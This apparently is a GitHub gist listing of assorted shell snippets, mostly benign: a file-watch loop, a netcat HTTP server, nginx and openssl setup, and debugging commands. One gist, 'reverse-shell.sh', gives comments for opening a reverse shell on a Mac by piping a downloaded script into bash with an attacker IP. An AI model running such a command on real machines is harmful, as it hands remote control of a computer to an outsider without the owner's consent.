Skip to content

Instantly share code, notes, and snippets.

@mattes
mattes / inotifywait.sh
Last active January 9, 2017 20:59
inotifywait
# apt-get install inotify-tools
# watch 'go test .'
watch() { while inotifywait --exclude .git -r -qq .; sleep 1; do $@; done }
@mattes
mattes / gist:ffc60821bc7b1715b63dd67fbe6f9a57
Created December 16, 2016 22:25
quick http server with netcat
while true; do echo -e "HTTP/1.1 200 OK\n\n" | sudo nc -l -p 80 -q 1; done
@mattes
mattes / README.md
Last active September 23, 2017 07:15
On IP Change

ON IP CHANGE

Installation

# Copy files into /usr/local/bin/on-ip-change.sh and /etc/systemd/system/on-ip-change.service
mkdir -p /usr/local/var/on-ip-change/scripts
sudo systemctl enable on-ip-change.service
sudo systemctl start on-ip-change.service
# Add your scripts to /usr/local/var/on-ip-change/scripts
@mattes
mattes / default.conf
Last active June 4, 2022 06:43
redash.io setup
upstream redash {
server redash:5000;
}
server {
listen 80;
location / {
return 301 https://$host$request_uri;
}
openssl genrsa -out server-ca-key.pem 4096
openssl req -x509 -new -key server-ca-key.pem -days 1825 -out server-ca.pem -subj '/C=US/ST=California/L=Palo Alto/O=Organization/CN=Debug Root CA'
openssl genrsa -out server-key.pem 4096
openssl req -subj '/CN=*' -sha256 -new -key server-key.pem -out server.csr
echo "subjectAltName = IP:127.0.0.1" > server-extfile.cnf
openssl x509 -req -days 1825 -sha256 -in server.csr -CA server-ca.pem -CAkey server-ca-key.pem -CAcreateserial -out server.pem -extfile server-extfile.cnf
@mattes
mattes / reverse-shell.sh
Last active March 31, 2024 20:28
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls
@mattes
mattes / og.txt
Last active May 7, 2022 01:53
Open Graph debugger
http://ogp.me/
https://moz.com/blog/meta-data-templates-123
https://search.google.com/structured-data/testing-tool
https://developers.facebook.com/tools/debug/og/object - https://developers.facebook.com/docs/reference/opengraph
https://cards-dev.twitter.com/validator - https://dev.twitter.com/cards/types
https://developers.pinterest.com/tools/url-debugger/ - https://developers.pinterest.com/docs/rich-pins/overview/
https://developer.linkedin.com/docs/share-on-linkedin
@mattes
mattes / gist:befede3ee42f8fd0e1e3
Last active February 15, 2016 17:58
Fix Bluetooth
sudo kextunload -b com.apple.iokit.BroadcomBluetoothHostControllerUSBTransport
sudo kextload -b com.apple.iokit.BroadcomBluetoothHostControllerUSBTransport
curl -s https://$URL/v2/_catalog | jq --raw-output ".repositories[]"| while read repo; do echo $repo; curl -s https://$URL/v2/$repo/tags/list | jq "."; done
@mattes
mattes / dstat
Last active January 4, 2019 21:58
dstat
dstat --time --load --cpu --mem --disk --net --tcp --udp --unix --blackonwhite